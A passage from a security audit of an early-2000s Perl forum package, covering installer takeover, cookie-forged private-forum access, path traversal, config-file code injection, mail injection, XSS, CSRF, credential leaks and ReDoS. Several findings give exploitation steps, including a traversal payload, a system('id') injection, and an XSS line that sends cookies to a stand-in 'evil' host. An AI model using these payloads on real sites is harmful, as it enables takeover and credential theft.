There is **no credential check** anywhere in `install.cgi` guarding `final_step`. The only mitigation is external: `admincenter.cgi` refuses to run while `install.cgi` exists on disk (`admincenter.cgi:58`), and the README/first_install docs scream to delete it. Deletion is manual and famously forgotten.

**Mechanism / exploitation.** Any anonymous visitor who finds `install.cgi` still present POSTs `action=final_step&membername=pwn&password_one=x&password_two=x`. The script writes `members/pwn.cgi` with role `ad` and the attacker's chosen password, then hands them the admin center. This is the archetypal "left the installer on the server" backdoor that plagued 2001-era PHP/Perl apps (phpBB `install/`, Movable Type `mt-check.cgi`, etc.).

**Note on the `remove` action.** `admincenter.cgi?action=remove` (`admincenter.cgi:53`) unlinks `install.cgi` -- but reaching a *useful* admin center still requires valid admin cookies, so `remove` is a convenience for the legitimate admin, not a fix for the pre-removal window. During that window the board is trivially seizable.

**2001 lens / modern contrast.** The developer recognized the risk (the giant red "Security Warning" in `admincenter.cgi:64` and "Leaving it on your server is a HUGE risk!" in `install.cgi:366`) but chose *documentation + a startup check* over *the installer authenticating or self-deleting on completion*. Modern installers refuse to run once a config exists, require a filesystem-proof token, or delete themselves atomically.

---

#### IB219-005 -- Private-forum access granted by a client-forgeable cookie
**Severity:** High * **CWE-639 (Authorization Bypass Through User-Controlled Key) / CWE-602 (Client-Side Enforcement of Server-Side Security)**

**Location.** `forums.cgi` decides private-forum access two ways. The *authenticated* path validates the member's `$allowedentry{}` (server-side, from the member file) and then **sets a cookie**; the *default* path trusts that cookie:

```perl
# forums.cgi:80
if ($action eq "accessrequired") {
    &getmember("$inmembername");
    if ($userregistered ne "no" && $allowedentry{$inforum} eq "yes" && $inpassword eq $password) {
        $allowcookiename = "forumsallowed" . "$inforum";
        print "Set-Cookie: $allowcookiename=yes\;"; print "\n";   # forums.cgi:86
        $allowed = "yes";
    } else { $allowed = "no"; }
}
else {
    $tempaccess = "forumsallowed". "$inforum";
    $testentry  = cookie("$tempaccess");           # forums.cgi:96
    if ($testentry eq "yes") { $allowed = "yes"; }  # <-- trusts client cookie
    else { $allowed = "no"; }
}
...
if (("$privateforum" eq "yes") && ("$allowed" ne "yes")) { &accessneeded; }   # forums.cgi:160
```

**Mechanism.** On any request that is *not* `action=accessrequired`, access to private forum *N* is decided solely by whether the browser presents `forumsallowed<N>=yes`. That cookie is entirely client-controlled. A guest can set `Cookie: forumsallowed5=yes` and read private forum 5's topic list.

**Scope / the "Private Forums Security Patch."** The 2.1.8r2.1 change log lists a "Private Forums Security Patch -- In forums.cgi and topic.cgi." `topic.cgi` (thread view) and `printpage.cgi` do it correctly -- they derive `$allowed` from the **member file** via `getmember`/`$allowedentry{}` (`topic.cgi:69`, `printpage.cgi:62`) and re-check at `topic.cgi:188`. So the *thread bodies* are server-side gated, but the *forum listing* in `forums.cgi` still honors the forgeable cookie for the non-`accessrequired` path. The result is an inconsistent control: topic titles/descriptions and last-poster metadata leak through `forums.cgi` to anyone who forges the cookie, and depending on version drift the thread view may or may not catch it.

**Exploitation walkthrough.** `curl -b 'forumsallowed7=yes' 'http://host/cgi-bin/forums.cgi?forum=7'` renders the private forum's topic list. Chaining to `topic.cgi?forum=7&topic=NN` may still be blocked by the server-side check, but the topic list itself (often sensitive: staff areas, "YeD's Secret"-style hidden forums) is disclosed.

**2001 lens / modern contrast.** Client-side authorization flags in cookies were a widespread anti-pattern. Modern practice enforces every access decision server-side against the authenticated principal on every request; a cookie may cache a *proof* but never *be* the authority.

---

### Path traversal, arbitrary file read/write

#### IB219-006 -- `stripMETA` is a leaky character blocklist (path traversal)
**Severity:** High * **CWE-22 (Path Traversal) / CWE-182 (Collapse of Data into Unsafe Value)**

**Location.** `ikon.lib` `sub stripMETA` is the product's sole path sanitizer:

```perl
# ikon.lib:652
sub stripMETA {
    my $file = shift;
    $file =~ s/\&//g; $file =~ s/\;//g;  $file =~ s/\`//g; $file =~ s/\'//g;
    $file =~ s/"//g;  $file =~ s/\|//g;  $file =~ s/\*//g; $file =~ s/\?//g;
    $file =~ s/<//g;  $file =~ s/>//g;   $file =~ s/\^//g;
    $file =~ s/\(//g; $file =~ s/\)//g;  $file =~ s/\[//g; $file =~ s/\]//g;
    $file =~ s/\{//g; $file =~ s/\}//g;  $file =~ s/\$//g;
    $file =~ s/\n//g; $file =~ s/\r//g;
    $file =~ s/\.\.//g;                 # single pass, non-anchored, non-repeated
    return $file;
}
```

**Mechanism -- three concrete defects.**

1. **`/` is never removed.** Forward slash is not in the blocklist, so absolute-ish and subdirectory components survive. Only `..` sequences are targeted.
2. **`s/\.\.//g` is a single, non-recursive pass.** The classic bypass `....//` -> the engine removes the inner `..` once, leaving `..` + `/` -> `../`. `s///g` iterates left-to-right over the *original* string, not over its own output, so overlapping/reconstructed `..` are not re-scanned. Payload `....//....//etc/passwd` collapses to `../../etc/passwd`.
3. **NUL bytes are not stripped.** In Perl <= 5.005 (this era; `admincenter.cgi:228` only requires >= 5.004), a `\0` in a two-argument `open()` truncates the C-level path -- the "poison null byte" -- letting an attacker append a `%00` to defeat a hard-coded suffix.

Callers append fixed pieces around user input and *then* stripMETA, e.g. `help.cgi:97` builds `help/$inhelpon.dat`, `ikon.lib` builds `members/$nametocheck.cgi` (`getmember`, line 376) and `forum$inforum/...` throughout. Some callers (notably `help.cgi:52-53`) add their own `s/\///g` and `s/\.\.//g` -- but `help.cgi:52` runs `s/\///g` *before* other processing and is itself single-pass, and many callers rely on stripMETA alone.

**Exploitation walkthrough (read).** `help.cgi` opens `help/$inhelpon.dat`. `help.cgi:52` strips `/` and `.. ` from `$inhelpon`, so `help.cgi` specifically is hardened. But the same trust in stripMETA elsewhere -- e.g. any code path that interpolates a member name or forum id that reached only stripMETA -- allows `....//` climbing plus a NUL to drop the `.cgi`/`.dat` suffix and read arbitrary files as the web-server user. The most valuable target is `members/<x>.cgi` (IB219-001 plaintext passwords) and `data/*.cgi`.

**2001 lens / modern contrast.** Blocklist path sanitizers were the norm and were *always* leaky; the single-pass `s/\.\.//g` bug in particular was a documented, widely-exploited pattern. Perl's `-T` taint mode + a strict allowlist regex (`m/\A\w+\z/`) was the correct 2001-available answer, used inconsistently here (see the good `\d{1,3}` guards in IB219 "what 2001 got right"). Modern code resolves and canonicalizes paths and confines them to a base directory (`realpath` + prefix check) rather than filtering metacharacters.

---

#### IB219-007 -- Two-argument `open()` + trailing-data / poison-NUL primitives
**Severity:** High * **CWE-59 (Link/Path Following) / CWE-626 (Null Byte Interaction) / CWE-73 (External Control of File Name)**

**Location.** The codebase overwhelmingly uses **two-argument `open`** with an interpolated, mode-carrying string, ~200 call sites. Representative:

```perl
# ikon.lib:95
open(FILE, "$filetoopen") or die "...";
# ikon.lib:481 (whosonline)
open(FILE,">$filetoopen");
# post.cgi:343 / 352 / 370 ...
open(FILE, ">$filetomake");
```

**Mechanism.** Two-arg `open` lets the *contents* of the filename string select the mode and side effects:

- A leading `>`/`>>`/`|` in a filename variable changes read into write/append/pipe. Most write paths hard-code the `>` prefix in the literal, so this is mostly reachable where a variable that itself begins with a metacharacter flows into a two-arg open; stripMETA removes `|`, `<`, `>` from *sanitized* paths but **not every open passes through stripMETA** (e.g. `viewip.cgi:94` opens `forum$inforum/$intopic.thd` with no stripMETA, relying only on the numeric regex at `viewip.cgi:55-57`).
- Trailing whitespace/newlines are significant to two-arg open; a trailing `\0` (Perl <=5.6) truncates the OS path, enabling suffix-stripping traversal (pairs with IB219-006).

**Exploitation.** Where a path component reaches a two-arg `open` having passed only stripMETA (which keeps `/` and is single-pass) or nothing, an attacker combines `....//` climbing with a poison NUL to read/write outside the intended directory. Writes are especially dangerous because the forum *writes Perl-`require`d files* (IB219-008): a traversal-controlled write target is a route to code execution.

**2001 lens / modern contrast.** Three-argument `open($fh, '<', $path)` (safe: mode and path separated) existed since Perl 5.6 (2000) but adoption lagged; two-arg open was idiomatic. The library's own `openFILE` helper (`ikon.lib:1071`) *still* uses two-arg open (`open ($FILEHANDLE, ">$filename")`). Modern Perl mandates three-arg open and taint mode.

---

#### IB219-008 -- Perl code injection into `require`d configuration files
**Severity:** High * **CWE-94 (Code Injection)**

**Location.** `setvariables.cgi`, `setstyles.cgi`, and `settemplate.cgi` serialize admin form fields into files that every script later executes via `require`. `setvariables.cgi` writes `data/boardinfo.cgi`:

```perl
# setvariables.cgi:50
@params = $query->param;
foreach (@params) {
    $theparam =~ s/\///g;            # note: operates on the WRONG var on first iteration
    $_ =~ s/\$//g;                   # strip $ from the NAME
    $theparam = $query->param($_);
    $theparam =~ s/\@/\\\@/g;        # escape @ in the VALUE
    $theparam = &unHTML("$theparam");# escapes < > & " |
    ${$_} = $theparam;
    if ($_ ne 'action') {
        $printme .= "\$" . "$_ = \"$theparam\"\;\n";   # build:  $name = "value";
    }
}
...
# setvariables.cgi:83
open(FILE,">$filetomake");           # data/boardinfo.cgi
print FILE "$printme"; print FILE "1\;\n"; close(FILE);
```

`setstyles.cgi:49` is the same pattern writing `data/styles.cgi`; `settemplate.cgi:202` writes `data/template.dat`. Every front-end script does `require "data/boardinfo.cgi"`, `require "data/styles.cgi"` at startup.

**Mechanism.** Values are wrapped in a double-quoted Perl string `"$theparam"`. The escaping is incomplete for that context:

- `unHTML` converts `"` -> `&quot;`, so a raw closing quote can't terminate the string directly.
- **But `unHTML` does not strip newlines** (`ikon.lib:620` -- it only handles `< > & " | ` and comments). An embedded `\n` (or a value already containing `";\n<perl>`) ends the current statement line and injects a new Perl statement into the `require`d file. Because `"` is HTML-encoded, the cleanest injection uses a value whose newline breaks the line, then Perl code, then a comment `#` to swallow the trailing `";`.
- `\@` escaping handles interpolation of `@arrays`; `$` is stripped from *names* but not from *values*, and backslash handling is unaddressed.

Result: an authenticated admin (or a CSRF-driven admin, IB219-013) can write arbitrary Perl into `boardinfo.cgi`/`styles.cgi`, which executes in every request -> **persistent remote code execution** as the web-server user.

**Exploitation walkthrough.** POST to `setvariables.cgi` a field such as `boarddescription` containing a newline followed by `system("id");` and a trailing `#`. The serializer emits:
```perl
$boarddescription = "...
system("id");#...";
```
On the next page load any script's `require "data/boardinfo.cgi"` compiles and runs it. Because `checkVALIDITY` (IB219-013) only logs, a cross-site POST that rides an admin's cookies reaches this sink.

**2001 lens / modern contrast.** Storing config as executable Perl (`$var = "...";  1;`) and `require`-ing it was a common, "clever" pattern that turned every config write into an eval sink. Modern apps store config as inert data (JSON/INI/DB rows) and never execute user-influenced files.

---

### Command / mail injection

#### IB219-009 -- Mail header and shell-argument injection in `sendmail`
**Severity:** Medium (High where `blat` transport is used) * **CWE-93 (CRLF/Header Injection) / CWE-77 (Command Injection)**

**Location.** `ikonmail.lib` `sub sendmail` has three transports. Two write user-influenced values straight into SMTP/`sendmail` headers; the third builds a **shell command line** from them:

```perl
# ikonmail.lib:99  (sendmail binary transport)
if ($SEND_MAIL ne "") { open (MAIL,"| $SEND_MAIL -t"); }
print MAIL "To: $to\n";
print MAIL "From: $fromaddr\n";
print MAIL "Reply-to: $replyaddr\n" if $replyaddr;
print MAIL "Subject: $subject\n\n";
print MAIL "$message";
...
# ikonmail.lib:131  (blat transport, Windows)
open(MAIL,"|blat $tempfile -t \"$to\" -b \"$bccinfo\" -i \"$fromaddr\" -f \"$fromaddr\" -s \"$subject\"");
```

The `From`/`To` values reaching this come from user input in several callers -- most directly `ikonfriend.cgi` ("send topic to a friend"), where `fromemail`/`toemail`/`subject`/message body are attacker-supplied form fields:

```perl
# ikonfriend.cgi:120
$to = "$intoemail"; $from = "$boardname <$infromemail>"; $subject = "$insubject";
...
&sendmail($from, $from, $to, $SMTP_SERVER, $subject, $message);   # ikonfriend.cgi:141
```

**Mechanism.**

- **Header injection (CWE-93).** `$to`, `$from`, `$subject` are printed into headers with no CRLF stripping. `ikonfriend.cgi` validates `fromemail`/`toemail` against an email regex (`ikonfriend.cgi:115-116`), which blunts CRLF in *those* two, but `$insubject` is only `cleaninput`'d (which strips `\r` and converts `\n`->`<br>` -- so subject CRLF is largely neutralized) -- still, the `sendmail` library itself performs **no** sanitization and is called from other paths (`register.cgi`, `profile.cgi`, `post.cgi` notification) with board-config and member-derived values. Any caller that forwards an un-validated address enables BCC injection / arbitrary added headers -> the board becomes an open relay/spam cannon.
- **Shell argument injection (CWE-77), `blat` path.** `open(MAIL, "|blat ... -i \"$fromaddr\" ... -s \"$subject\"")` interpolates values into a `/bin/sh -c` command line. A `"` in `$subject`/`$fromaddr`/`$to` closes the quoted argument; `` `...` ``, `$(...)`, `;`, `|` then reach the shell. `cleaninput` converts `"`->`&quot;` for some callers, but `sendmail` is transport-agnostic and trusts its arguments; a caller passing a value with an un-encoded quote (e.g. board-config `$bccinfo`, or the `ikonfriend` `From` display-name `$boardname`) yields command execution on Windows/`blat` installs.

**Exploitation.** On a `blat`-configured board, submit `ikonfriend` with a `From`/subject crafted to break the quoting and append `& <command>`. On an SMTP/`sendmail`-configured board, submit a `To`/`Bcc` payload with embedded newlines from any caller that skips address validation to inject `Bcc:` headers and relay spam.

**2001 lens / modern contrast.** Piping to `sendmail`/`blat` via a shell string was standard CGI practice; `Mail::Sendmail` / `sendmail -t` header injection was a known-but-tolerated risk. Modern code uses a mailer library with structured header APIs and never shells out with interpolated addresses.

---

### Cross-site scripting

#### IB219-010 -- Stored XSS / HTML injection; the `<script>`-only filter and HTML-on forums
**Severity:** High * **CWE-79 (Improper Neutralization of Input During Web Page Generation)**

**Location.** The three output filters in `ikon.lib` all share the same neutralize-then-escape body:

```perl
# ikon.lib:602 (cleaninput), :620 (unHTML), :633 (cleanarea)
$text =~ s/<!--(.|\n)*-->//g;
$text =~ s/<script>/\&lt;script\&gt;/ig;   # (1) neutralize LITERAL <script> only
$text =~ s/\&/\&amp;/g;
$text =~ s/"/\&quot;/g;
...
$text =~ s/</\&lt;/g;                       # (2) escape all remaining <
$text =~ s/>/\&gt;/g;
```

Analyzing the ordering: step (1) rewrites the exact string `<script>` (case-insensitive, **no attributes, no whitespace variants**) to entities *before* step (2) escapes every other `<`/`>`. So for any field that passes through these filters, **all** `<`/`>` end up escaped regardless -- meaning step (1) is *redundant* for correctness. cleaninput's escaping is therefore *sound on its own*; the `<script>` special-case adds nothing and creates a false sense of a "script filter." The danger is not in cleaninput output -- it is where the escaping is **deliberately reversed** or **never applied**.

**The un-escape sinks.** Forums have an admin-set `htmlstate`. When on, `topic.cgi` reverts the escaping before printing the post:

```perl
# topic.cgi:258
if ($htmlstate eq 'on') {
    $post =~ s/&lt;/</g; $post =~ s/&gt;/>/g; $post =~ s/&quot;/\"/g;
}
```

`printpage.cgi:129` does the same unconditionally, and `topic.cgi:254` un-escapes for `#Moderation Mode` posts made by mods/admins. Once un-escaped, the stored `&lt;script&gt;` becomes `<script>` again -- the one string the filter targeted is *restored* -- and every non-`<script>` vector (`<img onerror>`, `<svg onload>`, `<iframe>`, `<body onload>`) was never neutralized in the first place. So an HTML-enabled forum is **full stored HTML/JS injection by design**, and the sole nominal guard (`<script>`) is defeated both by trivial variants and by the un-escape step itself.

**Exploitation walkthrough.** In any `htmlstate=on` forum, post `<img src=x onerror="fetch('//evil/?c='+document.cookie)">`. It is stored as `&lt;img ... &gt;` then un-escaped on view to live HTML; every reader (including admins) executes it. Because the session model is the plaintext password (IB219-002), this steals credentials, not just a session. Even on HTML-off forums, IkonCode tag injection (IB219-012) provides a weaker but real vector.

**2001 lens / modern contrast.** "Allow HTML in posts" was a common opt-in forum feature and its danger was under-appreciated; XSS as a named, prioritized class post-dates most of this code. A blocklist that neutralizes only `<script>` epitomizes the era's misunderstanding. Modern output encoding is contextual, allowlist-based (sanitizers like DOMPurify), and never round-trips escaped->raw.

---

#### IB219-011 -- Reflected XSS in `misc.cgi` (`UIN`, `aimname`)
**Severity:** Medium * **CWE-79**

**Location.** `misc.cgi` reflects the ICQ `UIN` and AOL `aimname` parameters into HTML with no encoding (they never pass through `cleaninput`):

```perl
# misc.cgi:46
$UIN     = $query -> param('UIN');
$aimname = $query -> param('aimname'); $aimname =~ s/ //g;   # only strips spaces
...
# misc.cgi:170 / :174  (action=icq)
<input type="hidden" name="to" value="$UIN">
... <b>...ICQ Pager</b><br>Send a page to $UIN</font>
```

**Mechanism / exploitation.** `misc.cgi?action=icq&UIN="><script>...</script>` -- the space-only filter on `aimname` and the total lack of filtering on `UIN` allow breaking out of the `value="..."` attribute and injecting markup/handlers. These pop-ups are opened from post author toolbars (`topic.cgi:337,340`), so a crafted profile `aolname`/`icqnumber` can seed the malicious link, or an attacker simply distributes the URL. Reflected -> phish/credential-theft (again yielding the plaintext-password cookie).

**2001 lens / modern contrast.** Reflected XSS was pervasive and largely un-modeled in 2001. Same modern fix as IB219-010: contextual output encoding.

---

#### IB219-012 -- IkonCode tag injection builds tags/attributes from user input
**Severity:** Medium * **CWE-79 / CWE-83 (Improper Neutralization of Attributes)**

**Location.** `ikon.lib` `sub ikoncode` translates BBCode-style tags into HTML by regex, interpolating captured groups straight into `src`/`href`/`color`/`face` attributes:

```perl
# ikon.lib:921
$post =~ s/\[url\](\S+?)\[\/url\]/<a href=\"$1\" target=\"_blank\">$1<\/a>/isg;
# ikon.lib:940
$post =~ s/\[img\](.+?)\[\/img\]/<img src=\"$1\">/isg;
# ikon.lib:941
$post =~ s/\[color=(\S+?)\]/<font color=\"$1\">/isg;
# ikon.lib:936
$post =~ s/\[font=\s*(.*?)\s*\]\s*(.*?)\s*\[\/font\]/<font face=\"$1\">$2<\/font>/isg;
```

**Mechanism.** Captures are placed inside double-quoted attributes. On HTML-off forums the surrounding `<`/`>` are entity-escaped, and stored `"` are `&quot;`, so *breaking out* of the attribute with a raw quote/angle-bracket is blocked. The residual issues:

- **`[img]` javascript/URL-scheme and off-site loading.** `[img]<attacker-url>[/img]` forces the victim's browser to fetch attacker content (CSRF-via-image, IP logging, and on legacy IE `javascript:`-scheme image handlers). `.+?` permits near-arbitrary content between the tags.
- **`[url]` scheme injection.** `[url]javascript:alert(document.cookie)[/url]` yields `<a href="javascript:...">` -- a click-to-XSS on browsers honoring the scheme; the naked-URL auto-linkers (`ikon.lib:925-930`) similarly wrap user text into `href`.
- **Attribute *value* injection without a quote.** Because `\S+?`/`.*?` allow any non-quote characters, values like `[color=red;xss:expression(...)]` inject CSS (legacy IE `expression()` -> script) into `<font color="red;...">` without needing to escape the attribute.

The `[quote]`/`[code]` handling (`ikon.lib:919,948`) is also fragile (catastrophic-backtracking-prone nested `.*` -- see IB219-022).

**2001 lens / modern contrast.** BBCode was invented specifically to *avoid* raw HTML, but naive regex expansion re-introduced injection through attribute values and URL schemes. Modern BBCode/Markdown renderers allowlist URL schemes and encode attribute values.

---

### CSRF

#### IB219-013 -- CSRF everywhere; `checkVALIDITY` is Referer-only and log-only
**Severity:** High * **CWE-352 (Cross-Site Request Forgery)**

**Location.** The only anti-CSRF routine:

```perl
# ikon.lib:16
sub checkVALIDITY {
    $rm = $query->request_method();
    $rr = $query->referer();
    if (($rm eq 'POST') and ($rr !~ /$boardurl/i)) {
        ... open(LOG, ">>$filetoopen"); print LOG ...;   # ikon.lib:24 -- LOGS ONLY
    }
}
```

It is invoked by `post.cgi:44`, `postings.cgi:42`, `profile.cgi:44`, `register.cgi:45`, `setmembers.cgi:44`, `setforums.cgi:48`, `setstyles.cgi:44`, `setvariables.cgi:45`, `settemplate.cgi:47`, `setmembertitles.cgi:45`, `setbadwords.cgi:44`, `forumoptions.cgi:45`.

**Mechanism.** Three fatal weaknesses: (1) it checks only the `Referer` header -- spoofable/omittable by the attacker's page (and frequently blank due to privacy settings, so legitimate posts pass with an empty Referer, forcing the check to be lenient); (2) it only fires for `POST`, so any state change reachable via `GET` (many admin/mod actions are plain links, e.g. `setmembers.cgi?action=deletemember&checkaction=yes&member=X`, `postings.cgi?action=delete`, `forums.cgi?action=...`) is entirely unguarded; (3) **even on a detected cross-origin POST it does not block** -- it appends to `data/hacklog.cgi` and returns, letting the request proceed. There is **no CSRF token anywhere** in the product.

**Exploitation walkthrough.** Host a page that auto-submits a form to `setvariables.cgi` (RCE via IB219-008) or `setmembers.cgi?action=edit&checkaction=yes&member=attacker&membercode=ad&...`. When a logged-in admin visits it, their `adminname`/`adminpass` cookies ride along; the action executes. Because there is no token and the Referer check only logs, a single admin click on a malicious link is game over. For non-admin CSRF, forge posts/profile edits/PMs on behalf of any logged-in member. GET-based mod actions (delete/lock/move topic) are forgeable with a bare `<img src=...>`.

**2001 lens / modern contrast.** CSRF was not named ("session riding" appears ~2001) and had no standard defense; a Referer check was, briefly, considered *advanced*. The log-but-allow design shows the developer conceived of `checkVALIDITY` as forensic, not preventive. Per-form synchronizer tokens and `SameSite=Lax/Strict` cookies are the modern answer.

---

### Information disclosure

#### IB219-014 -- `CGI::Carp "fatalsToBrowser"` in every script
**Severity:** Low * **CWE-209 (Generation of Error Message Containing Sensitive Information)**

Every script begins `use CGI::Carp "fatalsToBrowser";` (e.g. `post.cgi:16`, `topic.cgi:16`, `admincenter.cgi:17`). Any `die` -- and the code `die`s liberally on file errors (`ikon.lib:95`, `topic.cgi:53` `die "Hack attempt!"`, `postings.cgi:181` `die "Yo, sup: $!"`) -- renders the Perl error, often with `$!` and absolute filesystem paths, to the browser. This aids reconnaissance (paths for traversal, module/versions) and can echo fragments of interpolated data. **2001 lens:** `fatalsToBrowser` was routinely left on in production for convenience; modern deployments log server-side and show generic errors.

#### IB219-015 -- Hack log records full `%ENV`, including the plaintext password cookie
**Severity:** Medium * **CWE-532 (Insertion of Sensitive Information into Log File)**

`checkVALIDITY` and `systemerror` dump the environment to `data/hacklog.cgi`:

```perl
# ikon.lib:29 (checkVALIDITY) and :53 (systemerror)
foreach (sort keys %ENV) {
    chomp $_;
    print LOG qq~<b>$_</b> = $ENV{$_}<br>~ unless (/password/i);
}
```

The `unless (/password/i)` filter matches on the **ENV variable *name***, not its value. `HTTP_COOKIE` does not match `/password/`, yet its **value** contains `apasswordcookie=<the victim's cleartext password>` (IB219-002) plus `adminpass=...` if an admin tripped it. So the hack log -- a file named `.cgi` under a web-served directory (IB219-016) and readable via the admin "Check the hack logs" page (`checklog.cgi`) -- accumulates cleartext passwords of anyone who triggers a logged event. `HTTP_COOKIE`, `REMOTE_ADDR`, `HTTP_USER_AGENT` are all captured. **Modern contrast:** log redaction must operate on values, and credentials must never transit a logline.

#### IB219-016 -- Member and data flat files are web-servable
**Severity:** High * **CWE-538 (File and Directory Information Exposure) / CWE-540 (Information Exposure Through Source Code)**

Member records (`members/<name>.cgi`, plaintext passwords/emails/IPs), board data (`data/banlist.cgi`, `data/boardinfo.cgi`, `data/onlinedata.dat`, `data/hacklog.cgi`), and per-forum thread files live **inside the CGI/web tree**, addressable by URL. The `.cgi` extension is a double-edged mitigation: if the server maps `.cgi`->CGI-handler for that subdirectory, a request errors (the data file isn't a valid script); if it does **not** (very common for `members/`, `data/` subdirs, or via `.bak` files like `ikon.lib.bak`, `post.cgi.bak` present in the tree), the file is served as **plaintext**, disclosing every credential. The developer half-recognized this: `register.cgi:270` writes a decoy `members/index.html` (a fake Apache 401 page) "to foil snoopers, and to stop them gaining a list of the directory" -- which stops *indexing* but not *direct file fetches* of known names (`Admin.cgi`, etc.). **Exploitation:** `GET /cgi-bin/members/Admin.cgi` -> `Admin|<plaintext-pw>|Administrator|ad|...`. **Modern contrast:** data belongs outside the web root or behind a deny-all rule; secrets never share a namespace with servable content.

#### IB219-017 -- Admin/system pages leak Perl version and absolute paths
**Severity:** Low * **CWE-200**

`admincenter.cgi:173-174` prints `$cgipath` (`$ENV{SCRIPT_FILENAME}` minus the prog name) and `Perl verison is $]` to the admin page; `systemerror`/`error` and the `require`-failure handlers (e.g. `post.cgi:31`) echo paths. Minor recon aid; feeds traversal.

#### IB219-018 -- `viewip.cgi` exposes registration and post IPs
**Severity:** Info * **CWE-359 (Privacy Violation)**

`viewip.cgi` reveals both the post-time IP and the *registration* IP of any poster. It is gated to the forum moderator/admin with a password re-check (`viewip.cgi:141-145`) and is a deliberate moderation feature, so this is documented as *by-design privacy exposure* rather than a flaw -- but worth noting for a preservation project handling real users' PII (IPs are stored in field 8 of every member record and in every `.thd` post line).

---

### Cryptography & randomness

#### IB219-019 -- Weak generated passwords
**Severity:** Medium * **CWE-330 (Insufficiently Random Values) / CWE-338 (Weak PRNG)**

When email verification is on, both registration and email-change generate a password:

```perl
# register.cgi:127  (identical block at profile.cgi:503)
$seed = int(rand 100000);
$password = crypt($seed, aun);
$password =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$password =~ s/\.//g; $password =~ s/\|//g;
$password = substr($password, 0, 7);   # truncate to 7 chars
```

**Defects.** (1) `rand` is **never seeded** (`srand` is absent; pre-5.004 Perl didn't auto-seed, and even auto-seeding here is time/PID-based, not cryptographic). (2) The keyspace is `int(rand 100000)` -> at most 100,000 possible seeds -> the generated password is one of <=100k values, brute-forceable offline/online in seconds. (3) `crypt($seed, "aun")` uses the **fixed two-char salt `aun`** (a bareword -- `aun` is interpreted as the string) and traditional DES `crypt`, then the output is mangled (strip `.`/`|`) and **truncated to 7 characters**, further shrinking entropy and biasing the distribution. The result is a low-entropy password mailed in cleartext (IB219-020). **Modern contrast:** generate secrets from a CSPRNG (`/dev/urandom`, `Crypt::URandom`) with >=128 bits of entropy; never derive them from a 100k-space unseeded `rand`.

#### IB219-020 -- Lost-password feature emails the existing cleartext password
**Severity:** Medium * **CWE-522 (Insufficiently Protected Credentials)**

`profile.cgi` `sub sendpassword` mails the stored password back verbatim:

```perl
# profile.cgi:169
&getmember("$inmembername");
if ($membercode eq "ad") { &blocked; }               # admins are protected (see below)
elsif ($userregistered ne "no") {
    $message .= "As per your request, here is your password:\n\n";
    $message .= "    $password\n\n\n";               # profile.cgi:178 -- cleartext
    ...
    &sendmail($from, $from, $to, $SMTP_SERVER, $subject, $message);
}
```

**Mechanism.** Only a *username* is required (`profile.cgi:159` form has no ownership proof); the password is sent to the address on file. This is not a reset-token flow -- it discloses the actual reusable credential over cleartext email. It is only possible **because** passwords are stored recoverably (IB219-001). An attacker who knows a target's username triggers an email to the victim (nuisance/phish setup) and, if they can read the victim's mail or the mail transits plaintext, harvests the credential.

**The `&blocked` admin carve-out (`profile.cgi:171,573`)** refuses to mail an *administrator's* password and instead emails the admin a "possible hack attempt" warning with the requester's IP/User-Agent -- a thoughtful, targeted mitigation acknowledging that admin credentials are the crown jewels. It does nothing for regular members. **Modern contrast:** password reset must use a single-use, expiring, unguessable token that lets the user *set a new* password; the old password is never known to the system (hashing) and never emailed.

---

### Race conditions / TOCTOU & flat-file locking

#### IB219-021 -- `flock` misuse and read-modify-write races
**Severity:** Medium * **CWE-367 (TOCTOU) / CWE-362 (Race Condition)**

The flat-file store has no transactional discipline. Recurring defects:

- **`flock` *after* a truncating `open`.** The universal write idiom is `open(FILE, ">$file"); flock(FILE, 2);` (e.g. `setvariables.cgi:83`, `setstyles.cgi`, `post.cgi:343/352/370/397/410`, `register.cgi:231`, `messenger.cgi:419/439`). `open(">...")` truncates the file **immediately**, before `flock` is acquired -- so a concurrent reader between truncate and write sees an empty/partial file. The lock therefore does not protect the critical operation it appears to guard.
- **Read-then-reopen-for-write race.** `whosonline` reads the online list, then reopens the same file `">"` and rewrites it (`ikon.lib:477-497`); `topic.cgi:85-113` reads `list.cgi`, mutates the view counter in memory, then reopens `">$filetoopen"` and rewrites -- two clients viewing the same topic concurrently interleave and lose updates or corrupt the pipe-delimited file. The change logs' repeated laments about "disappearing threads" (README, Changes.txt 2.1.9 "huge rewrite of processing routines to try and stop disappearing threads") are the user-visible symptom of exactly these unsynchronized read-modify-write cycles across `post.cgi`/`postings.cgi`/`topic.cgi`/`rebuildLIST`.
- **`flock` on read handles is only advisory `LOCK_SH`** (`flock(FILE,1)`) and is inconsistently applied; many reads omit locking entirely (`viewip.cgi:94`, `printpage.cgi:70`).
- **Non-atomic multi-file updates.** A single post touches the `.thd`, `.pl`, `list.cgi`, `allforums.cgi`, member file, and `boardstats.cgi` (`post.cgi:341-417`) with no cross-file lock; a crash or race mid-sequence desynchronizes counts and last-poster metadata.

**Exploitation / impact.** Mostly integrity/DoS (corrupted data files, lost posts, wrong counts) rather than direct compromise -- but a determined attacker can race the ban-list write (`setmembers.cgi:392`) or the stats/member rewrites to clobber data, and the truncate-before-lock window can be widened under load to reliably serve empty `boardinfo.cgi`/`styles.cgi` (breaking auth checks that compare against now-blank config). **Modern contrast:** write to a temp file and `rename()` (atomic), or use a database with real transactions; acquire the lock before truncation.

---

### Denial of service / resource exhaustion

#### IB219-022 -- User-controlled regular expressions (ReDoS & logic)
**Severity:** Medium * **CWE-1333 (Inefficient Regular Expression Complexity) / CWE-625 (Permissive Regex)**

Two paths compile **attacker-supplied strings as regexes**:

- **Search.** `search.cgi` splits the user's query into `@KEYWORDS` and matches each as a pattern: `if (($post =~ m|$_|gi) ...)` (`search.cgi:242`, and `:224`, `:256`, `:274`). A query like `(a+)+$` or a long alternation triggers catastrophic backtracking against every post in every forum -- a single request pins the CPU (ReDoS). It also means search is a **regex oracle** over private content: crafted patterns leak structure. There is no keyword length/complexity cap and `quotemeta` is never applied.
- **Bad-word filter.** `post.cgi:332` / `profile.cgi:452` / `register.cgi:166` apply admin-defined `$bad` as a **regex** (`$inpost =~ s/$bad/$good/ig`). A malformed/`die`-inducing pattern in `badwords.cgi` breaks posting; a backtracking pattern DoSes it.

Additionally the nested-`.*` IkonCode `[quote]`/`[code]` regexes (`ikon.lib:919`, `:948`) backtrack badly on adversarial input.

**Modern contrast:** never interpolate user text into a pattern without `\Q...\E`/`quotemeta`; bound regex time or use a linear-time engine (RE2).

#### IB219-023 -- Full-directory scans and unbounded flat-file growth
**Severity:** Medium * **CWE-400 (Uncontrolled Resource Consumption)**

